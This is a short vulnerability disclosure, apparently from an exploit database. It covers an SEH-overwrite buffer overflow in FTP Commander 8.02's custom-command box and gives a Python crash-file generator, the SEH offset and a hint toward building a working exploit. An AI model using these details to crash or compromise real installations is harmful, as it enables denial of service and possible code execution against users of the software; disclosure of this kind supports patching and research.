FTP Commander 8.02 Buffer Overflow exploit on Windows 7 x3

Code
`********************************************************************************************  
# Exploit Title: FTP Commander 'Costum Command' SEH Over-Write(Buffer Overflow).  
# Date: 8/17/2015  
# Exploit Author: Un_N0n  
# Software Vendor : http://www.internet-soft.com/  
# Software Link: http://www.internet-soft.com/ftpcomm.htm  
# Version: 8.02  
# Tested on: Windows 7 x32(32 BIT)  
********************************************************************************************  
  
[Steps to Produce the Crash]:  
1- open 'ftpcomm.exe'.  
2- Goto FTP - Server > Costum Command.  
3- Below the SERVER LIST a input-box will appear, enter the contents of the crash.txt into it, then press Do it!.  
4- Software will crash saying 'Access Violation at address XXXXXXXX......'.  
  
This is basic SEH Over-write, i have tried to make a working exploit on WIN 7 x32 but no luck since this-  
program does not have its own DLLs and using Windows DLLs is not a good idea b/c SAFESEH, have tried  
other techniques but the final exploit seems to be un-stable.  
  
[Code to produce crash.txt]:   
junk = "A"*6000  
file = open("crash.txt",'w')  
file.write(junk)  
file.close()  
  
The following details are for those who would like to develop a working exploit for this software:  
OFFSET: 4112 + BBBB[NSEH] + CCCC[SEH] ...  
Hint: ~You can try loading the address from outside the address range of loaded modules.~ ;)
